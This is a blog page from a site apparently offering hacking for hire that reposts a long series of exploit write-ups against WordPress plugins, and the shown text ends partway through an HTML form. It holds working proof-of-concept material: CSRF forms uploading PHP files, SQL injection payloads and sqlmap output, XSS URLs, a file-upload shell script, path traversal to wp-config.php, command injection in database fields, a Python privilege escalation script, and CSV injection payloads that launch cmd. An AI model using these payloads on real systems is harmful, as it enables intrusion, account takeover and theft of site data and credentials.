Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863589490

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!--
Source: https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_file_manager_wordpress_plugin.html

Abstract
A Cross-Site Request Forgery (CSRF) vulnerability was found in the File Manager WordPress Plugin. Among others, this issue can be used to upload arbitrary PHP files to the server.

Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160712-0029

Tested versions
This issue was successfully tested on the File Manager WordPress Plugin version 3.0.1.

Fix
There is currently no fix available.

Introduction
The File Manager WordPress Plugin is a file manager for WordPress which can be used to upload, delete, copy, move, rename, archive and extract files without the need for FTP. It was discovered that the File Manager WordPress Plugin is vulnerable to Cross-Site Request Forgery.

Details
The upload form used by the plugin has no protection against CSRF attacks. As a result an attacker can for example upload arbitrary PHP files to the server.

Please note that the target user needs to be logged in.

Proof of concept
The target parameter holds a Base64-encoded destination path. By using the proof of concept request below a file named info.php is uploaded to the /wp-content/uploads/file-manager/ directory.

When uploaded, this file can be requested from the outside as follows:
http://<wp-server>/wp-content/uploads/file-manager/info.php

Request:
-->

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <wp-server>
Cookie: ALL_YOUR_WP_COOKIES
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------6427194103423794601262893907
   
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="cmd"
   
upload
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="target"
   
l1_d3AtY29udGVudC91cGxvYWRzL2ZpbGUtbWFuYWdlcg
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="suffix"
   
~
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="action"
   
connector
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="upload[]"; filename="info.php"
Content-Type: text/php
   
<?php
phpinfo();
?>
-----------------------------6427194103423794601262893907--
HireHackking 
# Exploit Title: SQLi in FeedWordPress WordPress plugin
# Date: 2015-05-19
# Exploit Author: Adrián M. F.
# Vendor Homepage: https://wordpress.org/plugins/feedwordpress/
# Vulnerable version: 2015.0426
# Fixed version: 2015.0514
# CVE : CVE-2015-4018


(1) Authenticated SQLi [CWE-89]
-------------------------------

* CODE:
feedwordpresssyndicationpage.class.php:89
+++++++++++++++++++++++++++++++++++++++++
$targets = $wpdb->get_results("
    SELECT * FROM $wpdb->links
    WHERE link_id IN (".implode(",",$_POST['link_ids']).")
");
+++++++++++++++++++++++++++++++++++++++++
http://192.168.167.131/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php
POST DATA: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1[SQLi]

* POC:
SQLMap
+++++++++++++++++++++++++++++++++++++++++
./sqlmap.py -u "http://[domain]/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=Y" --data="_wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1" -p "link_ids[]" --dbms mysql --cookie="[cookie]"
[............]
POST parameter 'link_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection points with a total of 62 HTTP(s) requests:
---
Parameter: link_ids[] (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) AND (SELECT * FROM (SELECT(SLEEP(5)))eHWc) AND (7794=7794

    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x70716153577975544373,0x7178716271)-- 
---
[10:40:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0.12
+++++++++++++++++++++++++++++++++++++++++

Timeline
========
2015-05-09: Discovered vulnerability.
2015-05-14: Vendor notification.
2015-05-14: Vendor response and fix.
2015-05-19: Public disclosure.
HireHackking 
source: https://www.securityfocus.com/bid/58771/info

Feedweb plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Feedweb 1.8.8 and prior versions are vulnerable. 

 http://www.example.com/wordpress/wp-content/plugins/feedweb/widget_remove.php?wp_post_id=[XSS]
HireHackking 
source: https://www.securityfocus.com/bid/50779/info

Featurific For WordPress plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Featurific For WordPress 1.6.2 is vulnerable; other versions may also be affected.

UPDATE April 18, 2012: Further reports indicate this issue may not be a vulnerability; the issue can not be exploited as described. 

http://www.example.com/[path]/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/67955/info

Featured Comments plugin for WordPress is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Featured Comments 1.2.1 is vulnerable; other versions may also be affected. 

<form action=\"http://localhost/wp-admin/admin-ajax.php?action=feature_comments\"; method=\"POST\">
  <input type=\"text\" name=\"do\" value=\"feature\">
  <input type=\"text\" name=\"comment_id\" value=\"9\">
  <input type=\"submit\">
</form>
HireHackking 
source: https://www.securityfocus.com/bid/53855/info

WordPress FCChat Widget plugin is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

WordPress FCChat Widget plugin 2.2.12.2 through versions 2.2.13.1 are vulnerable. 

<?php

$uploadfile="lo.php.gif";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/Upload.php?id=1");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
                'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 
http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/images/1_lo.php.gif

lo.php.gif
<?php
phpinfo();
?>
HireHackking 
source: https://www.securityfocus.com/bid/69222/info

FB Gorilla plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/wp-content/plugins/fbgorilla/game_play.php?id=-7+/*!50000union*/+/*!50000select*/+1,2,%28/*!50000group_Concat%28user_login%29*/%29,4,5,6,7,8,9,0,1,2,3+from+wp_users--
HireHackking 
source: https://www.securityfocus.com/bid/49193/info

The Fast Secure Contact Form plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Fast Secure Contact Form 3.0.3.2 are vulnerable. 

http://www.example.com/wp-content/plugins/si-contact-form/captcha/test/index.php/%22%3E%3Cscript%3Ealert%28document.coo kie%29;%3C/script%3E
HireHackking 
# Exploit Title: Wordpress plugin Fancybox-for-WordPress Stored XSS
# Exploit Author: NULLpOint7r
# Date: 2015-02-11
# Contact me: seidbenseidok@gmail.com
# Version: 3.0.2
# Download link: https://downloads.wordpress.org/plugin/fancybox-for-wordpress.3.0.2.zip
# Home: http://www.sec4ever.com/home/

vulnerable code [fancybox.php]:
342.    if ( isset($_GET['page']) && $_GET['page'] == 'fancybox-for-wordpress' ) {
343.
344.        if ( isset($_REQUEST['action']) && 'update' == $_REQUEST['action'] ) {
345.
346.            $settings = stripslashes_deep( $_POST['mfbfw'] );
347.            $settings = array_map( 'convert_chars', $settings );
348.
349.            update_option( 'mfbfw', $settings );
350.            wp_safe_redirect( add_query_arg('updated', 'true') );  

exploit: 

<form method="POST" action="http://127.0.0.1/wp-admin/admin-post.php?page=fancybox-for-wordpress">
    <input type="text" name="action" value="update">
    <input type="text" name="mfbfw[padding]" value="</script><script>alert(/Owned by someone/)</script>">
    <input type="submit" value="Send">
</form>
HireHackking 
# Exploit Title: EZ SQL Reports < 4.11.37: Arbitrary File Download (admin/colaborator required)
# Google Dork: -
# Date: 12/09/2015
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://wordpress.org/plugins/elisqlreports/
# Software Link: https://downloads.wordpress.org/plugin/elisqlreports.4.11.33.zip
# Version: < 4.11.33, fixed in 4.11.37
# Tested on: Debian GNU/Linux 7 with Wordpress 4.3
# CVE : N/A
#
# Summary: The plugin allows a wordpress site administrator or
collaborator to download arbitrary files from the host file system
though the plugin functionality of downloading .sql, .sql.zip or
.sql.gz files created by the wordpress administrator.
# The file name to download is not sanitized and path traversal can be
injected in the request.
#
# Timeline:
# - 09/09/2015: Fist contact with the author
# - 11/09/2015: Author creates fix and communicate to me
# - 12/09/2015: Public release of the new plugin version

# POC: To retrieve the wp-config.php file:

GET /wp-admin/admin.php?page=ELISQLREPORTS-settings&Download_SQL_Backup=../../../wp-config.php
HTTP/1.1
Host: <the host with the wordpress>
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: <User-Agent>
Referer: http://<the host with the
wordpress>/wp-admin/admin.php?page=ELISQLREPORTS-settings
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6
Cookie: wordpress_[...etc...]4af418c3efd


# Exploit Title: EZ SQL Reports < 4.11.37: Arbitrary Code Execution (admin/colaborator required)
# Google Dork: -
# Date: 12/09/2015
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://wordpress.org/plugins/elisqlreports/
# Software Link: https://downloads.wordpress.org/plugin/elisqlreports.4.11.33.zip
# Version: < 4.11.33, fixed in 4.11.37
# Tested on: Debian GNU/Linux 7 with Wordpress 4.3
# CVE : N/A
#
# Summary: There are several calls to "passtthru" in the code, one of
them is receiving the username, password, database name and host from
the $_POST arguments, so you can inject in every of this parameter the
";" character or others like "&&" or "||" to execute other distinct
commands to "/usr/bin/mysql"
#
# Timeline:
# - 09/09/2015: Fist contact with the author
# - 11/09/2015: Author creates fix and communicate to me
# - 12/09/2015: Public release of the new plugin version

# POC: Send a POST request like this to obtain in the folder wp-admin
a file with name "testrce.txt". The parameters DB_NAME, DB_HOST,
DB_USER, and DB_PASSWORD are injectable:

POST /wp-admin/admin.php?page=ELISQLREPORTS-settings HTTP/1.1
Host: <wordpress web>
Proxy-Connection: keep-alive
Content-Length: 177
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://<wordpress web>
Upgrade-Insecure-Requests: 1
User-Agent: <the user agent>
Content-Type: application/x-www-form-urlencoded
Referer: http://<wordpress web>/wp-admin/admin.php?page=ELISQLREPORTS-settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,es;q=0.6
Cookie: wordpress_8fa[...etc...]b7d

DB_NAME=<the db
name>%3B+touch+testrce.txt%3B+&DB_HOST=127.0.0.1&DB_USER=<theuser>&DB_PASSWORD=<thepassword>&db_date=z.2015-08-27-20-22-29.manual.wp.127.0.0.1.sql.zip&db_nonce=au78c5ff86
HireHackking 
"""
* Exploit Title: Extra User Details [Privilege Escalation]
* Discovery Date: 2016-02-13
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://vadimk.com/
* Software Link: https://wordpress.org/plugins/extra-user-details/
* Version: 0.4.2
* Tested on: WordPress 4.4.2
* Category: WebApps, WordPress


Description
-----------

_Extra User Details_ plugin for WordPress suffers from a Privilege
Escalation
vulnerability.

The plugin hooks the `eud_update_ExtraFields` function to `profile_update`
WordPress action. This function doesn't properly check user capabilities
and
updates all meta information passed to post data. The only condition is
that
the post variable name has the `eud` prefix which is striped before
updating
the values in DB.

An attacker can exploit this misbehavior to update the
{prefix}\_capabilities
 meta information to gain administrative privileges.

PoC
---

In the following PoC we assume that the database has the `wp` prefix, a
very
common scenario as this is the default WordPress value

"""
# !/usr/bin/python3

################################################################################
# Extra User Details Privilege Escalation Exploit
#
# Author: Panagiotis Vagenas <pan.vagenas>
#
# Dependencies: BeautifulSoup
(http://www.crummy.com/software/BeautifulSoup/)
################################################################################

import requests
from bs4 import BeautifulSoup

baseUrl = 'http://example.com'
loginUrl = baseUrl + '/wp-login.php'
profileUrl = baseUrl + '/wp-admin/profile.php'

loginPostData = {
    'log': 'username',
    'pwd': 'password',
    'rememberme': 'forever',
    'wp-submit': 'Log+In'
}

s = requests.Session()

r = s.post(loginUrl, loginPostData)

if r.status_code != 200:
    print('Login error')
    exit(1)

r = s.get(profileUrl)
soup = BeautifulSoup(r.text, 'html.parser')

f = soup.find('form', {'id': 'your-profile'})
if not f:
    print('Error')
    exit(1)

data = {
    'eudwp_capabilities[administrator]': 1,
}

for i in f.find_all('input'):
    if 'name' in i.attrs and 'value' in i.attrs and i.attrs['value']:
        data[i.attrs['name']] = i.attrs['value']

r = s.post(profileUrl, data)

if r.status_code == 200:
    print('Success')

exit(0)

"""

Solution
--------

Upgrade to v0.4.2.1

Timeline
--------

1. **2016-02-13**: Vendor notified through wordpress.org support forums
2. **2016-02-13**: Vendor notified through through the contact form in
his website
3. **2016-02-13**: Vendor responded and received details about this issue
4. **2016-02-15**: Vendor released v0.4.2.1 which resolves this issue

"""
HireHackking 
# Exploit Title: Wordpress Plugin Export Users to CSV 1.1.1 - CSV Injection
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-08-14
# Google Dork: N/A
# Vendor: Matt Cromwell
# Software Link: https://wordpress.org/plugins/export-users-to-csv/
# Affected Version: 1.1.1 and before
# Active installations: +20,000
# Patched Version: unpatched
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64

# 1. Plugin Description:
# WordPress Export Users to CSV plugin exports user data and meta data. 
# You can even export the users by role and registration date range.
 
# 2. Technical Description:
# WordPress Export users to CSV plugin version 1.1.1. and before are affected by Remote Code Execution 
# through the CSV injection vulnerability. This allows an application user to inject commands as part 
# of the fields of his profile and these commands are executed when a user with greater privilege 
# exports the data in CSV and opens that file on his machine.
 
# 3. Proof Of Concept (PoC):
# Enter the payload =SUM(1+1)*cmd|' /C calc'!A0 in any field of the profile, for example, in biography.
# When the user with high privileges logs in to the application, export data in CSV and opens the 
# generated file, the command is executed and the calculator will run open on the machine.

# 4. Payloads:
=SUM(1+1)*cmd|' /C calc'!A0
+SUM(1+1)*cmd|' /C calc'!A0
-SUM(1+1)*cmd|' /C calc'!A0
@SUM(1+1)*cmd|' /C calc'!A0
HireHackking 
# Exploit Title: Wordpress Plugin Events Calendar - SQL Injection
# Dork: N/A
# Date: 2018-05-27
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: Wachipi
# Vendor Homepage: https://codecanyon.net/item/wp-events-calendar-plugin/5025660
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : An attacker can perform attacks via calendar ajax queries.
# However, this plugin is fully PHP-enabled. You can run SQL query with
# "month" and "year" parameters.
# These parameters are also suitable for XSS attacks.
# All PHP queries for which these parameters work have the same vulnerable.

# "getBookingForm.php, getMonthCalendar.php, getEventsList.php"
# Demo : http://www.checkingarea.com/EVENTS_WP/
# PoC : SQLi :
# GET
/EVENTS_WP/wp-content/plugins/wp-events-calendar/public/ajax/getEventsList.php?year=2018&month=5&day=1&calendar_id=1&pag=1



# Parameter: month (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: 
year=2018&month=5' AND 7958=7958 AND 'FXnO'='FXnO&day=1&calendar_id=1&pag=1

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload: 
year=2018&month=5' AND SLEEP(5) AND 'MmZz'='MmZz&day=1&calendar_id=1&pag=1

# Type: UNION query
# Title: MySQL UNION query (NULL) - 29 columns
# Payload: 
year=2018&month=5' UNION ALL SELECT NULL,NULL,CONCAT&day=1&calendar_id=1&pag=1(0x71786a7171,0x424e507748695862436e774c4a4d664a7751424c537678554656465a464b7074685051527676756e,0x7178707071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&calendar_id=1

# Parameter: year (GET)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
# Payload: 
year=-8454' OR 7997=7997#&month=5&day=1&calendar_id=1&pag=1

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload: 
year=2018' AND SLEEP(5)--
uTJs&month=5&day=1&calendar_id=1&pag=1

# Type: UNION query
# Title: MySQL UNION query (NULL) - 29 columns
# Payload: 
year=2018' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a7171,0x7766694a50504a425a6e635a564b5172674c745770414e4f46494977475a44626b416a6c797a674b,0x7178707071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&month=5&day=1&calendar_id=1&pag=1
HireHackking 
# Exploit Title: Wichipi Events Calendar - SQL Injection
# Date: 09-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: codecanyon.net/user/wachipi
# Version: 1.0
# CVE-ID: CVE-2018-5315

Events Calendar allows you to easily add to your website a powerful
interactive calendar to present your events.

Found 09-01-18
Vendor reply & fix 09-01-2018

The Wachipi WP Events Calendar plugin 1.0 for WordPress has SQL Injection
via the event_id parameter to event.php.

NOTE: this plugin is NOT related to the Modern Tribe Events Calendar plugin.

[Additional Information]
http://
{TARGET}/event.php?event_id=-123%20union%20all%20select%201,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

[Vulnerability Type]
SQL Injection

[Vendor of Product]
https://codecanyon.net/item/wp-events-calendar-plugin/5025660 Wachipi

[Affected Product Code Base]
Events Calendar - 1.0

[Affected Component]
events.php

[Attack Type]
Remote

[Impact Code execution]
true

[Impact Escalation of Privileges]
true

[Impact Information Disclosure]
true

[Attack Vectors]
To exploit, union select 29 columns.  User can use 2 or 25 for information
gathering.

[Discoverer]
Dennis Veninga @ Networking4all.com
HireHackking 
# Exploit Title: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Post Access via IDOR
# Date: 03.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.myeventon.com/
# Version: 4.4
# Tested on: Google and Firefox latest version
# CVE : CVE-2023-3219

# 1. Description
The plugin does not validate that the event_id parameter in its eventon_ics_download ajax action is a valid Event, allowing unauthenticated visitors to access any Post (including unpublished or protected posts) content via the ics export functionality by providing the numeric id of the post.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=<any post id>
HireHackking 
# Exploit Title: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Event Access
# Date: 03.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.myeventon.com/
# Version: 4.4
# Tested on: Google and Firefox latest version
# CVE : CVE-2023-2796

# 1. Description
The plugin lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=value
HireHackking 
# Exploit Title: Wordpress Plugin EventON Calendar 3.0.5 - Reflected Cross-Site Scripting
# Date: 27.11.2020
# Exploit Author: b3kc4t (Mustafa GUNDOGDU)
# Vendor Homepage: https://www.myeventon.com/
# Version: 3.0.5
# Tested on: Ubuntu 18.04
# CVE : 2020-29395
# Description Link:
https://github.com/mustgundogdu/Research/tree/main/EventON_PLUGIN_XSS

"""
                 ~ VULNERABLITY DETAILS ~
    
    https://target/addons/?q=<svg/onload=alert(/b3kc4t/)>
    
    #
    WordPress sites that use EventOn Calendar cause reflected xss vulnerability to javascript payloads injected 
    into the search field.
    
    #
    The following python code will inject javascript code and print out url that will be sent to victim. 
    If you use unicode caracters for xss , exploit will print page source.

    ##USAGE##
    
    $ sudo python eventon_exploit.py --exploit --url https://target/addons/?q= --payload '<svg/onload=alert(/b3kc4t/)>'

    ##OUTPUT##

    [+] https://target/addons/?q=<svg/onload=alert(/b3kc4t/)>


"""
import requests
import sys
import argparse
from colorama import Fore
        
def vuln_reflected(url, payload):

    s = requests.Session()
    get_request = s.get(url+payload)
    
    if get_request.status_code == 500:
        print(Fore.GREEN+"[-] COULD BE WAF, NOT BE REALIZED XSS INJECTION [-]")

    else:
        content_result = str(get_request.content)
        search_find = content_result.find(payload)

        if search_find != -1:
            print(Fore.GREEN+"[+] "+str(url)+str(payload))

        else:

            print(content_result)


def main():

    desc = "Wordpress EventON Calendar Plugin XSS"
    parser = argparse.ArgumentParser(description=desc)
    exp_option = parser.add_argument_group('')
    parser.add_argument("--exploit", help ="", action='store_true')
    parser.add_argument("--url",help="", type=str, required=False)
    parser.add_argument("--payload",help="",type=str,required=False)

    args = parser.parse_args()

    if args.exploit:

        if args.url:

            if args.payload:
                url = args.url
                payload = args.payload
                vuln_reflected(url, payload)

if name == 'main':
    main()
HireHackking 
# Exploit Title: WordPress Plugin Event Tickets >= 4.10.7.1 - CSV Injection
# Google Dork: inurl:"\wp-content\plugins\event-tickets"
# Date: 09-01-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: https://tri.be/
# Software Link: https://downloads.wordpress.org/plugin/event-tickets.4.10.7.1.zip
# Version: Up to v4.107.1
# Tested on: Apache2/WordPress 5.2.2 - Firefox/Windows

# Software description:
Event Tickets provides a simple way for visitors to RSVP or purchase tickets to your events. As a standalone plugin, it enables you to add RSVPs or tickets to posts or pages. When paired with The Events Calendar, you can add that same functionality directly to your event listings.

# Technical Details & Impact:
It's possible to run malicious command on logged in user computer. Even though an alert message is shown on opening the file but users usually ignore such pop-ups since file is from known source.

# POC

1. 	Visit RSVP ticket enabled page
2.	In Full name section add payload for CSV injection e.g.
=cmd|'/C ping -t 127.0.0.1'!A0
3.	Login into WordPress and visit event details in All Post> Ticketed > Attendees. 
4.	Export Attendees list (.csv format).
5.	Opening the file will execute malicious payload (command) on user system


# Timeline
02-08-2019 - Vulnerability discovered
02-08-2019 - Vendor contacted
02-08-2019 - Vendor responded
02-08-2019 - Detailed report shared
02-18-2019 - Contacted vendor on fixation status without any response 
08-26-2019 - Full disclosure timeline given without any response
09-01-2019 - Full Disclosure
HireHackking 
# Exploit Title: WordPress Plugin Event List <= 0.7.8 - SQL Injection
# Date: 04-06-2017
# Exploit Author: Dimitrios Tsagkarakis
# Website: dtsa.eu 
# Software Link: https://wordpress.org/plugins/event-list/
# Version: 0.7.8
# CVE : CVE-2017-9429
# Category: webapps

 

1. Description:

   

SQL injection vulnerability in the Event List plugin 0.7.8 for WordPress
allows an authenticated user to execute arbitrary SQL commands via the id
parameter to wp-admin/admin.php. 

 

2. Proof of Concept:

 

http://[wordpress_site]/wp-admin/admin.php?page=el_admin_main&action=edit&id
=1 AND SLEEP(10)

 

3. Solution:

   

The plugin has been removed from WordPress. Deactivate the plug-in and wait
for a hotfix.

 

4. Reference:

 

http://dtsa.eu/cve-2017-9429-event-list-version-v-0-7-8-blind-based-sql-inje
ction-sqli/

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-9429
HireHackking 
source: https://www.securityfocus.com/bid/62269/info

The Event Easy Calendar plugin for WordPress is prone to multiple cross-site request-forgery vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

Event Easy Calendar 1.0.0 is vulnerable; other versions may also be affected. 


f of Concept
========================
Add Customer
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="data-table_length" value="10">
    <input type="hidden" name="radioservice" value="1">
    <input type="hidden" name="hdServiceTypeDDL" value="">  
    <input type="hidden" name="uxTxtControl1" value="new () user com">
    <input type="hidden" name="uxTxtControl2" value="<script>alert(1)</script>">
    <input type="hidden" name="hiddeninputname" value="">   
    <input type="hidden" name="hiddeninputname" value="">   
    <input type="hidden" name="uxHdnTotalCost" value="0.00">
    <input type="hidden" name="param" value="addNewCustomer">
    <input type="hidden" name="action" value="bookingsLibrary">
    <input type="submit" value="Add Customer">
</form>

Update Customer
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="data-table_length" value="10">
    <input type="hidden" name="radioservice" value="2">
    <input type="hidden" name="hdServiceTypeDDL" value="">  
    <input type="hidden" name="uxTxtControl1" value="new () user com">
    <input type="hidden" name="uxTxtControl2" value="NewUser">
    <input type="hidden" name="hiddeninputname" value="">   
    <input type="hidden" name="hiddeninputname" value="">   
    <input type="hidden" name="uxHdnTotalCost" value="100.00">
    <input type="hidden" name="customerId" value="3">
    <input type="hidden" name="uxCustomerEmail" value="new () user com">
    <input type="hidden" name="param" value="upDateCustomer">
    <input type="hidden" name="action" value="bookingsLibrary">
    <input type="submit" value="Update Customer">
</form>

New Booking
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="altField" value="2013-08-15">
    <input type="hidden" name="serviceId" value="2">
    <input type="hidden" name="customerId" value="5">
    <input type="hidden" name="uxCouponCode" value="">  
    <input type="hidden" name="uxNotes" value="">   
    <input type="hidden" name="bookingTime" value="900">
    <input type="hidden" name="param" value="frontEndMutipleDates">
    <input type="hidden" name="action" value="bookingsLibrary">
    <input type="submit" value="New Booking">
</form>

Add Service
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="uxServiceColor" value="#00ff00">
    <input type="text" name="uxServiceName" value="CSRF service<script>alert(1)</script>">
    <input type="hidden" name="uxServiceCost" value="0">
    <input type="hidden" name="uxServiceType" value="0">
    <input type="hidden" name="uxMaxBookings" value="1">
    <input type="hidden" name="uxFullDayService" value="">
    <input type="hidden" name="uxMaxDays" value="1">
    <input type="hidden" name="uxCostType" value="0">
    <input type="hidden" name="uxServiceHours" value="00">
    <input type="hidden" name="uxServiceMins" value="30">
    <input type="hidden" name="uxStartTimeHours" value="9">
    <input type="hidden" name="uxStartTimeMins" value="0">
    <input type="hidden" name="uxStartTimeAMPM" value="AM">
    <input type="hidden" name="uxEndTimeHours" value="5">
    <input type="hidden" name="uxEndTimeMins" value="0">
    <input type="hidden" name="uxEndTimeAMPM" value="PM">
    <input type="hidden" name="param" value="addService">
    <input type="hidden" name="action" value="dashboardLibrary">
    <input type="submit" value="Add Service">
</form>

Add Block Out
<form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";>
    <input type="hidden" name="uxExceptionsServices" value="4">
    <input type="hidden" name="uxExceptionsIntervals" value="1">
    <input type="hidden" name="uxExceptionsRepeatDay" value="1">
    <input type="hidden" name="uxExceptionsStartsOn" value="">
    <input type="hidden" name="uxExceptionsStartTimeHours" value="09">
    <input type="hidden" name="uxExceptionsStartTimeMins" value="00">
    <input type="hidden" name="uxExceptionsStartTimeAMPM" value="AM">
    <input type="hidden" name="uxExceptionsEndTimeHours" value="05">
    <input type="hidden" name="uxExceptionsEndTimeMins" value="00">
    <input type="hidden" name="uxExceptionsEndTimeAMPM" value="PM">
    <input type="hidden" name="uxExceptionsDay" value="0">
    <input type="hidden" name="uxExceptionsDayEndsOn" value="">
    <input type="hidden" name="uxExceptionsWeekDay1" value="Sun">
    <input type="hidden" name="uxExceptionsWeekDay2" value="Wed">
    <input type="hidden" name="uxExceptionsRepeatWeeks" value="9">
    <input type="hidden" name="uxExceptionsWeekStartsOn" value="2013-08-22">
    <input type="hidden" name="uxExceptionsWeekStartTimeHours" value="09">
    <input type="hidden" name="uxExceptionsWeekStartTimeMins" value="00">
    <input type="hidden" name="uxExceptionsWeekStartTimeAMPM" value="AM">
    <input type="hidden" name="uxExceptionsWeekEndTimeHours" value="05">
    <input type="hidden" name="uxExceptionsWeekEndTimeMins" value="00">
    <input type="hidden" name="uxExceptionsWeekEndTimeAMPM" value="PM">
    <input type="hidden" name="uxExceptionsWeek" value="0">
